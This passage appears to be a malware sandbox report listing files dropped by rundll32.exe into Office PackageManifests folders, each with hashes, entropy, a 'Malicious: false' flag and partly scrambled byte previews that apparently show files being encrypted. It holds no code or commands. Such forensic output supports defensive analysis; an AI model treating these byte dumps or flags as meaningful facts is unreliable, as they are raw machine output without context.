Preview:	......j.x#.R....3.B}h...A..c-L...z? .\|1....$.4.....r6...0m.BO.. ....~.9..O.M.. ..!-......clD...hrr.9kF.].'.m.....o/...$l.D...(....u.jZ_.....0.Pd/....J.. <L..s;$.w0....1.d....p)...#-._CM.5...=.hE.]...."..h`...E..7}...s;$.w0....1.d....p)...#-._CM.5...=.kE.]...."..h`...E..7}...s;$.w0....1.d....p)...#-._CM.5...=.lE.]....".......@..5%H...z"5.oMS...".a.....n/...%>.s`_. ...h.zJ8Y....k..&#.......o~...9o1.=i....?.b.....;v..g3...R.....L.hZ^.._..^f..VK.......1:....h&?..{..J.6.7....3q...g4...[. ...:.:]YZ.^..Ny...-....K..38U....Ep.m?....$.d.....<....8p.VZB.#...-.mVAx..../.B}h.......}.I...h'5..vE...-.d....q#...3?.`[..,...I.+..].!..h.)0-...A..3%L...uq..>zD...h.A.....r2...i....B.y....3.=..N.....&.D,".....al....k?&..oF.".7.d.....a4...>l..`..!...d.,..R....$.G,"......1.l...z(5.(lU... .j...."f...'s..o.....b........Ry.S`{....r...>S...oq].m?..".;.`.....<K..kQ.CA..&.....xJN.....$.F0A...E..\|nY...hmp.s.<.R.{.`.....g5..w#.`\.. ...d.=.P1.O..Nj.p]d...W../r...4.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-002A-0000-1000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25194
Entropy (8bit):	6.517143826345098
Encrypted:	false
SSDEEP:	768:q0NL959a03o0ujI9Nqo0QT9pj9C0zQ9P9e0Z04T9ox0EQ0uP9B640at9dD9G0FGQ:rO9l
MD5:	B3DA91E06AB667D7849CE76A30E786AE
SHA1:	B56B63A2D0F540302628A6EF12038A87ACCA0DB7
SHA-256:	4502294D4B59D80C4C70C9766FB1219B5E994088407230B4034E95A9BDEF553C
SHA-512:	9CAE73CB08BC24062289BC080B93E006E8E9B8AAB0EF1B8B06C0CF7F77B06B447615BD76F5EFBCC99FD22D88359F5C4A9599FAB105E7C7F15FB67A279191669A
Malicious:	false
Preview:	u....z.f.S..W..ZY}.....a........w.`w%..eg<..f.,E..........8p..rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..0..k."....1..[Bz...k.t.......#.>6n..ac:..x..].d...G.....m_...om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".."..h...Q..>..GXu...k.:.H..@..{. 6`..5v:..m.,V.h...N.J..4....-002A-0000-1000-0000000FF1CE" appv:VersionId="96bd2d2a-8249-4262-aa7f-c35690038b79" />.. <Properties>.. <DisplayName>Microso..?..}.n...."..\Xl.....a.F..X..i.ee?..}r8..$.!T.G.........t\...PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..p..~.n.].Kw...Nr...,.0.....B.%.@f0..rr...4.$E.`...'.S.>X..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..z..j.d.].Zm..?.<.M...A.......;.&)a..Z

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-002A-0409-1000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.711057925451871
Encrypted:	false
SSDEEP:	48:0NPOAdw7da+QXz8ZDrySFznklVNAQhxUoBgL68BS:0AADKDryqYblyoBoS
MD5:	F5195A92BF6AAF35DA488EB23BA93D7E
SHA1:	3AA03174CA22E8FF0E844996FB4E4A9351DC71BD
SHA-256:	FFF6C9EE3496C8D3B0E4C0FEAC7C7D7C57B6498AB6E9F8F0D84F9BA74EA8229C
SHA-512:	186D35360B0E1DC6709DB6A79526785AD99554BC55545E109358C26A53B92326155D676539FCEA101853D959DD5E7BA00D11C4414B8956CA67A722A71EC2E560
Malicious:	false
Preview:	.d...G.=<......e.....^.e;...\..Om.p.A....!;.0.t...0.5.....k..[.(."h.9(.....e......Ww;..C....Gp.>..]..`!.o.a..]sNz........].)...,#.....e.....GU63...\...OkGr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....K.z%.._...,Gr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....K.z%.._.../Gr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....>}6k...J..KdZ..\...uh.2.g...BH6.....~F.j.w."U.>.......m......Y&e..J.....,I`W....*K.#.c..yv.vRX..<K...z.....lb......4.K...u1'..RN...K.".X....-9.p.;..Qp.6.Z..8H...}.#..??.......4.[...9W6w..._..Vx.nx;_..,_.3.n..~sP1U%...c..O.j.!@.9{.......t.....^.(F..R...J..9.Y....ck.!.L..U,o1.....hG.y.(..U........e......W6k...\..Oi.?..-..bm.$.-..CqO=.....2v...j.{j.3e.....`......XZ$..L"....=F1.A....`M.!.i..UVX'.....e....%.#C..2.....j......Xw;..Hn..o\|.;.V...si.0.k....7tKH...\|....:..o..4......q.G.C.,...$f..P~?(..r..,4.2.r..D{X'Ue..0).Z.?.$C..QQ......w......;w%...H...ZsW%.._...;.\|.P.._gO7.....,[.y./."W./2.....$.[...~.x....F...3HlZ~

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-006E-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7694
Entropy (8bit):	6.642718618495016
Encrypted:	false
SSDEEP:	192:1AWFA0/5iOrsj0439s0Ic9Ybm9wccFT535dAgyeUu48hRXnAPS:1AH0/+j0439s0Ic9Ybm9wckT535dAr2P
MD5:	2481A9A25F732BD4CEC081ECEED6B278
SHA1:	09E7B3A59142F852101579296BB9B7DA1A274A04
SHA-256:	286D066B23A3D6708BBDBC32D6D7D91B770F4810C9F070ADBC3F5C79C46C2C8D
SHA-512:	48123D1394F4AFDCD64C0E0AD3B0519E64CEFF2D3708410F567E5C6959FA1156722109C563E4C6B5F53DD2CA8E4A714CFEE259BD7045C3C37AE13ECEE43E16C7
Malicious:	false
Preview:	.&lj;Q..}...sV"..3.N..3... ..\......sW...mw.}..'.z}..>.,B.1.}.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c+..7.@.Q.....\-..4.Q.r...>..._..LA..zS...li....<.'a..<.3G...=.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".....C..j....g)..;.L..c..~.._...RA.0....5\|.}..0.1...}.l..H@#R-006E-0409-0000-0000000FF1CE" appv:VersionId="4dd1ff28-baad-4537-b9f4-c4b6c60b9470" />.. <Properties>.. <DisplayName>Microso"....V..y........".C..3..]..G.......aO...5.p....9..:.9F.../MPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionz.v.U..n..S^"..<.G..6.. .]n...2...s@...0%.u..8.:q....\|....c.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..$.A..o..I.A..r...........F..T^.=h

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	367674
Entropy (8bit):	6.285274191439125
Encrypted:	false
SSDEEP:	1536:NG4QZ+Z08OSIty6dJiBYz2sTjXQ532A0WhOvaMkLz/IvfuwTDCpMKXMjwv3mxlYB:gUKy6dgGgUAdiUzgbuIjUbB
MD5:	B0D704F30A34BE6505DA6733C955FE2E
SHA1:	79BC6DF4C8975DAE7841032B9E5453E2CED7483B
SHA-256:	13A1ED3C9D6D524522C6B10ED97C35D0EE6EDFC07EFF4F6B7DA667595B913DAB
SHA-512:	4F116A724F93201D4B85F31F0703F6AD5DB9AA18027494A4BCB1FFF03042A372D8A1ABDCB93B71C6F29AE71BEB926F917B69EC0BF3AB7DC5B5AACE844297B282
Malicious:	false
Preview:	.0tn)..TF..FcSB.......Z.../.a.....A"_....../~R.\|.8a..n.....(.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c...3.......V.YM......t...11.8........ V......-fG.,.$...l...;.h.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="2......MQ..D.bI.....@t.CVmqM4.M.....2......./mI.*.C'.P'.T.mYv.-0090-0000-0000-0000000FF1CE" appv:VersionId="d1b568d4-9625-4685-8257-c784fd1d6731" />.. <Properties>.. <DisplayName>Microso.......\B..S..h.......Z..cRv"._.....[kM......"o[.,.o}..m...8.z.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionO.r...\U...C[B......3_IW</.t.>...Ti_....'~V.".4N.R>.E.<.6.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <!.. ...VT...Y.!..EQ.A.h8.3..p........>..

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.6842861481964135
Encrypted:	false
SSDEEP:	48:x2VeY7gI79+Gjv6JptHxRiYhmK5ZyvPtcF4S:vY7gI7jjAC5KKvg4S
MD5:	D8AF7D4661C3AACCA137CFA849AD7482
SHA1:	AB6E03F99D4C09738C0E87403469FDD788E34128
SHA-256:	814D0E13BD145E9580517A029C45E38D06897D1B22F11EC9BEDC7DB1504F738D
SHA-512:	FFFB7F6878F489034136DA816BBDA06B4A29A56A7712932889B262EB00554E70F6E0C8182605C6D6CBC02B7E1FA8A68B2210AF5D81D673456DD4244C37709DBF
Malicious:	false
Preview:	...y[..E.ld...R.....H..j.j......I....u..:t>.c.d.iX..,....7..-...)n..C.xq.........7.V/.j..GA........8......-.g.0..D......,...f..^.s.........c..-.b.....KX....q..1u .a.q.9..He....b..m..X${....;0...S.....$..b.t.....\..F..q..1u .a.q.9..He....b..m..X${....;0...S.....$..b.t.....\..E..q..1u .a.q.9..He....b..m..X${....;0...S.....$.j..:....^A...h._).j.g.b.<T.uy....e..~...J.n..\.ne...O.....$.Q!.4..N]....F...%..{,5.c...?..A1....;..s..G\|;....2,....OE..6.!I.Y..V..Z^.!...l..B>2.d.%Fl..D!.... .q...@!;....=6..\..W..8.m/.&.....X\.......B+z3.k.d.9..Da....n..0..W.m..M.+0...T.....H..j....VO..x.....m..O3\|.n.m09...^....{.......)b..K.Oh...D.......G/.:....XA.....;..x?}.g.(Q...F~....b..N..We7..I.5S...K..[..c.[ .u..Hb....W...u.XJ..R.w.9..ai....}..,....eo..M.bq.........c.[ .j..L..Z~.....b.&n)l.k.`.7..(.....1..3....5]..~.db...I.....g..y.[.. &.zZ.....;.h+z3.R.{.=..Li....-......7h.....!...o.....e.GC.t..........'.M5W..".;,=..P~.......c....7n..G.bu...7._U..I.*f.L.....D..Y...J

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60747
Entropy (8bit):	6.538420289216316
Encrypted:	false
SSDEEP:	768:D0u0i9X9L0OJ0vg98+d01o6sNeag6urtyZ0Cp0cT9UJ7074Y9PbMHgP56+QbrrPa:346rQS+ygha/RVyZx5MCY
MD5:	E696274C23F1FC84BFE76A51C6F8E777
SHA1:	FF58CDFF6702B8D77FDF1B5AADE81B941903850D
SHA-256:	4D2384B5E153F0DD29096661ACF58F294FEB07C9F4F6B56CCAB21B19BB821665
SHA-512:	3694B8DB47040ABD1A6370C045F8690492B57E4DF9E9A231ECE5E7EA46D285BA58BDCC3DA3A4DE3C424BF47BC86CBA356C984281FB93DF12FC749F1914A54CEF
Malicious:	false
Preview:	..oQ=:..}..........3..z.c...8..+........@....;[.A.K..V">..W.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.....+.G.(.........,...o.\|...<.....oN.....K.....@......T=;....om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="S..?.(..j}..9.....1...!. .G.e..'..o@.A........ L..o....by.....-00A1-0000-0000-0000000FF1CE" appv:VersionId="e9040d30-9a34-4ba2-8045-d6e7cfef26cd" />.. <Properties>.. <DisplayName>Microsov..".=..y8..@.....>..z...\|.}..5.<......5.B..2c..CW..U7:.....PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..M.>..nq.....R...:..+.q...g..y.?.....-..R...?D...d...rh..I.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <@...*..oq...Q.x.U.....Z.~......g..pA.L.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.675254960708038
Encrypted:	false
SSDEEP:	48:T7F8u3W3AFWubdP1Cxa37oF79LMcW8m2aKOLW3S:fFAAfdNMa7079L59aKWaS
MD5:	9A021AC8D44B49FA893AC8D631BF3A32
SHA1:	D19EAE32BEEF251CF1EA8650DE9CBC799DEF6734
SHA-256:	6D52D5934BE81541544C201AA7BD31629D155EE4E3C4CD48DC62551A144FC638
SHA-512:	EE044CE6832025DDE5A637A8753E179DB8C5E4503B285D5AA8115E98CD6647999D2BDD1441C3FEC16F4FD4C8AECF7E91B64075EEDECF6C07E3FB8265BB075D9A
Malicious:	false
Preview:	S.3-&.....M..11.....]V.uAc..y..G......{..ZV.......E....l;..J=.y.}.........ca........uPv..v.FO..O..e...LY..........ys..K4.6.~.....B_...q......D..}Ml..~<.G.....}..D............in...1.u.p....Q.\]...0.....H^.kS:..4+W.[....}..D............in...1.u.p....Q.\^...0.....H^.kS:..4+W.X....}..D............in...1.u.p....Q.\Y...0.....=9.%.I..).C..o..0...........7....ii...p.V.C......O...,0.......+.6..ssT.[.....}..Q&..........H+7.J.b.(.PG..S.@]...ssI...vu.Fe".4-..<.S..c..VTD......S..../,...d. .r......\....:tK...:..9pr..!/.^......-..W2..........5sb..W=.l.^.....\X...70.....]V..* ..da6B..H.............Y....hw...}.m.}..........'.........%.D..'/.G..N.h......].........sn.D)X.8.1J....?...(&........jGo..N}F.J.@...7... &.....#....sq..K<.V.1...........~&........uPv..4-0g..J..I..........j..X:=..T$.Y.a .....(...1......@E.DPp....X..Y.....WY&........u.!.Fv7.w.c....n.MM....&........kGu..!`DR..T.."..aVV.N........$..Z.n.j.c...........TcY....}Z.SEr..+3X.D....

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1891
Entropy (8bit):	7.720981090547238
Encrypted:	false
SSDEEP:	24:U5kiHyWFDO+y/yimVZrzCfsObUppQDcNLJsSml9K6ufLCb/xQOSvtrXWO1zPO4UY:AkUnDO+e3Wzc9QppEZ10mtSlzWOQ4UFS
MD5:	CC9E6B7012A1409A8FAAED5D6DA553DD
SHA1:	6BA341725D377BB17FDBF7A8F9018B08E711E6B5
SHA-256:	234F75BD002B20C062ADF0968B9B7CA88A1C1F7F06EE25F869EA6DBDE57F474D
SHA-512:	8237B9D41D9DE19405902DD3FE3C9DD1BEC8093166FAC4BA7F1060D49045DE3C112A7DD34E76C2960E7B5F84D4DBEF43F243C375119EDF69698DA6757FC3163C
Malicious:	false
Preview:	.hn........5.....{....l.....]t....P..#._..uDE.h..1.._.m.;.JQ.>.........7.I]..g..T.~....]5....B.P=..Q.;.F..#..b...J.K.:.L..=......}c.[...~....?......e....Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d.....s.......$.B..Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d.....s.......$.A..Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d...h.?......\|....P..h.#D.qFC..d..d..Z.A.hK{~.........m......y...S./....Q'.B.....%....uW^..#..,.......eY............}b.YO.M'..#........c.%..B..;....%...v.<.......3X...d.......~7..H._7..o.?......a....<.Ru.Q..}GE..?..\|..@.V.&.^D.........q}.....v....!....CE....B..'..R.xUL..+..C..[.A.iFhE.>........=>..1..r..E.?......\|..._. 0..S.qP...#..c...@.J.Xc...r.......>7....S}..Y.S...._5.S..A..o..Q.DUV..!..t..@.P.:..~.r........$=.T...r..Y.~.....C....P.....B.}DA..(........E.%..q."........5&.....+.....%...../g...E.._.Q..DFZ..4..t...#.....K_. .......mr.&...b..E.~.....B7....B.Rz.\|+.4....5..c......uUhB. ........>l.~_.]7...(.q......+.]....

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	7.656251442455705
Encrypted:	false
SSDEEP:	48:5r3RPcalBlvg46v2y1JC+yz/gEDBiyDsqYt5S:xRPcalc1JC+g/7NLoHS
MD5:	86CF1229810104471F02D34729CB2B6E
SHA1:	6992B04BDEB093C3AA39C25461140BD1A65CD01C
SHA-256:	8DC8203F9B725D42787DF9EA8F0A41C7CF2EE53D07B23D7892F329FB798EFE6C
SHA-512:	E7A89643F5243B95997FE3E5CFAEED94F73ED4314924BCC55E43283B25DEC47B8AD2FD5BF3D5AC9D72702ED1FDE6550D2B259161F8F7168F11D62D3E7B0188BD
Malicious:	false
Preview:	....~..3.W...n..AW..T#.9O..k...r.J..9..c.p..o..G=...L+C..Ea...8.....x..&.}...>..]D...f.9^..6..z.P.t..&.1..0...v..B.6Z..cu...w.....e..y...Y.q..DT..Md.1C..k...r....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..A+.']Q.hP..,....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..A+.']Q.hP..,....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..4L.i.".}N..v...$..p.$M.m...1..DO7Z..it._......g..2.>...o..C....h.g.]...2....i.".{n.\|...v...b..<6.M.i...!.Z{...Y.,^W........kI.yP..8.Y. ...\|....@@ ....cR..84...`.....$.Sd.(...-[E....3f.u~..hE..k.O..C..r.}z.l...j.\He~..~i...-..v.Cg.".-.o..LK..T#.D$K.8...w.P.!...2N.~.;.~..cH(V..ib.R.,....p.'?.n...R..H....f.i./.kC..r.U.w.!.3H.{.Z2v.CD+G..b8.w.y.....r.]..m...y.IGB...i.&I...."...9....1h.~...t.T^8A..xo.......v..&.w...y..H@...i.9^..YP..R._...7."L.o...}..;.{..mv.........E..5.f.W.n......I0..^..QN..m.y.w..r.}..m...a.T^e>..,:...6....+.iv.>.U.y..X@.....'I...E..g...k..l.K..#.'.`..CN>@..&.A.+.....\|..".m.d.<NG....t/..K..qO..4.....

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3326
Entropy (8bit):	7.803517872706584
Encrypted:	false
SSDEEP:	96:4hvUGnp3hKjLXlKzDTc0jP8FXkl4QhKwoUS:ivfpxKv1KzFjkFXk4izLS
MD5:	1A520DA25854250E1767A4121C5A3517
SHA1:	E1EFFCFE84D702F90EC52EC9B79E32CCF205F7FD
SHA-256:	C44DDFD1D94FB0C9511841B11D7CBBE37D914F2CC9C7A833D117F3AA628A068D
SHA-512:	5413085F66BECEBEFC3484EF8171FE4A006D894645ABEB9A6CBFA0D31D415033968F0D2B060445DDB9F28A703A58111A9F6349EC4790C19C3DCCD418CC35B9FE
Malicious:	false
Preview:	.....f..DT~.....j.....A).n.nN8]I.gG...h..S.0B9..u.z,.).S5D..+.J.I,.Q.T.7....v......A8.:..n.0@S.u.N..2...W3W`..6C51.<.u!E..d.I.(,..F.Pt....o......I%.e.-_8[..nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....D..%....u....._;.j..:.f...nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....G..%....u....._;.j..:.f...nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....@..%....u.......t.o..8F<T..gZ......W.6Ql...Ey0.,.. .U...t.t(.EV.7!....h.......y.3..b.x...$....0.S.+Uo..3.9e.n.b.G.z.c.}....D.Qt..R]6...r..+..<Yr{Z.u^..."..WA!.1..4.y:.h..kHA.+.../...C...v...O&.......d..>[!HL..=L..f.[.0Xi..6]~b.6.h=Y..>.i.a$...A.N.....g.....<B.+..p.=OS.u_.../..^.9zi..ib~/.-..6.X.?.J.t%.H.G.%....c.......t.n..>F8YV.h.>..#..W.\|.L..4Br,.6.tl'}.j...K"..s.D.6...Cl.....^/.5..l.h...vG...6..b.#_i...Uh?.6.n;E......b>.Q.^.*....c....A8.1..<y.L\.gP...5..[.4]g..Z:;\|...{"Z....V.N#..B1O.z....:.....p8.]...]'Nz.r.a..f..b./Dm..>Uhb.U.:nx..%.T.b>....T.Ax....s....._/.j..q.-C..u.L..K...Dofm.."Bx9.a..r.K.8.T.v8.U.D_I..BM&....g-.x..".~...)x

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	7.633654683142032
Encrypted:	false
SSDEEP:	24:FIaQCyr09rl+rXgAVRaoT0DhXUDm2p9HmbtdXC4/Qo16uaMl8Phv521UYaQpZS:FIrwrQrXzVAyasmzC4Qo1ZWxoXjpZS
MD5:	65801C3B8445CEE9B5C25EF11A2AFAD8
SHA1:	6AC3E3C95B738523F21C892A45075F379527E33E
SHA-256:	08EF2F90D78778D8AC0F7EB685E5BB6200FDFAFE5D89C251637D5F6DB58C4594
SHA-512:	61EA590E855A402BC7C925BDB64F833529500714ECC68FB2B2C755886D6815F9DD31C95BB1F590CBF29931AAEB489D8DD180DB7EFA37B2D55072F548C226212F
Malicious:	false
Preview:	...#......u..b....[...Y\6px.I.S..@A..R.....G ..M.\|.IwE..2.J.f........4......H.E..N6amZ..S...Z........B.#....?..j\...3.LIg.......Xg..<...X.....>\|w.I.....C..V......_5....3.KuZ...r.W.+....^T.Fe..m....J.K.QC(b!.JT.....C..V......_5....3.KuZ...r.W.+....^T.Ff..m....J.K.QC(b!.JT.....C..V......_5....3.KuZ...r.W.+....^T.Fa..m....J.U.6.f-R._J..../..G].....E&..A...Jk\...a.{)9........w..i......Z...h -S.._....Q..C.....T;....:..>....^l..W4.A.HEV.Ze..<.....[.z..T9K[T...S...M...T.`..U.m..6.....m.._1.J.K....d..=.....f...zAi.JA...E_..@.....D ....?.M9x.../.^.$.......F`..H....G...Y.K.;K..M.Z...G....V)....`.MtP...`.h.f........&.m......a...f-_.IG..._...p.....Sl....=.AwA..PQ..G$.O.....%0.~.....N....c)vtU7.Q.......TZ..=V3......[dG...3..)k........!.b...L....N6amQ{T..U...G$....G$....S..'.....,..&t.%..!.....2........J..ak=sJ!..s.../j...=E?....7.[98...R..K.q....Ok.Wu..0....L...pN(vn.]AL........O....M......+.KbF...N\|.h.a........0........8.UA.ti.SK.....]..

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-012A-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	551871
Entropy (8bit):	6.353582694195896
Encrypted:	false
SSDEEP:	12288:ZmHwzwvkT9NcJ+DTRO+itJEmBkUAc3lue7Axdc3:T4j/
MD5:	79151B3605117A69CDBDBF027BA74003
SHA1:	9DAE21916697F7286CFA136DFBDFDC88DDFFF605
SHA-256:	AA33AE25DC4CC778467ECC5BC9C4C3002D62C1F8918864F0F8BF8F19EA1F3725
SHA-512:	49522CB40ED586536DC033B1DE7ED1AE37F96556570F89658D356CC99B47863FD62E766DFE63ADE804D9FD4D5380582A9ACF3722BA86ED269EF2F48FEC9FB5EF
Malicious:	false
Preview:	..ya.R....k..n....p......L... .+.....l.#...:.[.K.(Qc.2X.....}:.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.W.<1C.DD.?..d...w....S...$........e.'...$.Y.^.x..D{Z.....nz.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".t..$@....j._....}.A......X.}..'...../A2..1.[.P.~..M/..@..*d.-012A-0000-0000-0000000FF1CE" appv:VersionId="f8fb15ce-0677-4345-a083-0f2aa248c79c" />.. <Properties>.. <DisplayName>Microso.N..'U....?.&...~........c.e..5....G~.6..x.V.B.x.4.@\.....~h.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.t.}%V....~..f....f......^......y....El.6..h.S.O.v.o$...Q..j$.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.H./$B....z..7..F.2.@....Q...6..g.....".

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-012B-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.620050466281451
Encrypted:	false
SSDEEP:	24:uJoOAkfXlJXSOX6kDTGgY1++KCbyOfxnjOwXXO94BOwtaohDi779nM6pCztmxq+a:KXfLvfYodKyAjJ3BfBh679do4S
MD5:	499E1EEFF640B1CF0681B44E2743B32F
SHA1:	1319FD62CE9A14A44D9B5A482A157D263079CD2E
SHA-256:	79EDA9E7424296E7AE1D0A7374B0B8AC353664E3111A15D8671D4D5397BF6343
SHA-512:	B45C2BDF90D4FA1501912D0750518F1D215BF73C905BE78AC45BE59403B9B0C65ACBACA93CAB97F51A9A542DBFDF28FB41BC67A54EF466FD529442C3693F6252
Malicious:	false
Preview:	.%..vD....7....f.....o...YS...`3.Y=.le...#7.=;.yO.n.....`.E;.-f.EQCk...."Q1...6.....Y3D..HFA..`r.D'.~(..yv.sd.l.O1...fu.c/.$`.DRK.....}.bT..y......vF..U\...#"._v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....Wz...K...Q4cS.v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....Wz...K...Q4cS.v.ea...").?#.b.Yr....`e.j(.!{..\VU.U..c.}..}.....I.n..y..O6;.Pk.lx..._c.99.j..\|....fe.i..`W..oCV....6.r3.g.....F4J....H..l`M.x./5..{<.=(.n.O....C?'.<l.r9...d..N....bU..$....GD"..}.P.Q2$G...~\|..i;.hs.k..h...C9%.8j.!9......H..6Vd..%....z.D.hB..D0&.L8......-:.58.c.S....DB..~3.-r..r@C....c.nJ..g......o..2.P..~..K'.~}..du.0.A.G9....jd.i8.mD.EQOV....;C"..Z.....}"D..t..B0;.]".c+..ht.9/. :O/....{..bb.H4....i.....U!..q......>K..__N.+br].w.}e...}v...d.M9....}..x5.,.H.B@...."D;...q......>K..HFJ.Q2.-H(.lr..~e.5;.f.Db...Z/6.m,.4..WMpl...1u*...f......r...H@&.O. .J..y+..-:..9...X(...D...,`.'g.ROE@.D.r.rE..q......"(.._E..D.p.Gf.~7......\|w.].Y3....\|(..\|.~D.BOCT....&U![..4....$O...]B..N,lK.y."Z

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2515
Entropy (8bit):	7.742612692847276
Encrypted:	false
SSDEEP:	48:k97q4NSmeKFqaZ8ZhgMiVaXZgNPy5Z9nvNtDBsGL3VDAgqGiS:INSeqauhg/YZg4nv/DBLsSiS
MD5:	E2C6FF39C6B58E5360B81912F6B23A4E
SHA1:	DCB65F592ED2C4E74056EA45A0CA2CBEBA414865
SHA-256:	E8D04C986BE68AE76B9A0E666233664D478D6569A4A5A348B62F3D975CD0913B
SHA-512:	AEB5AC92E271EFB4F8DE0D623175655C410D03AEACF463F8288343E7C7FE12ED6DBC5F00AC400A94F305D0E17B8294E1BFB6FD3DB416A40122EA3C1F9ABA627F
Malicious:	false
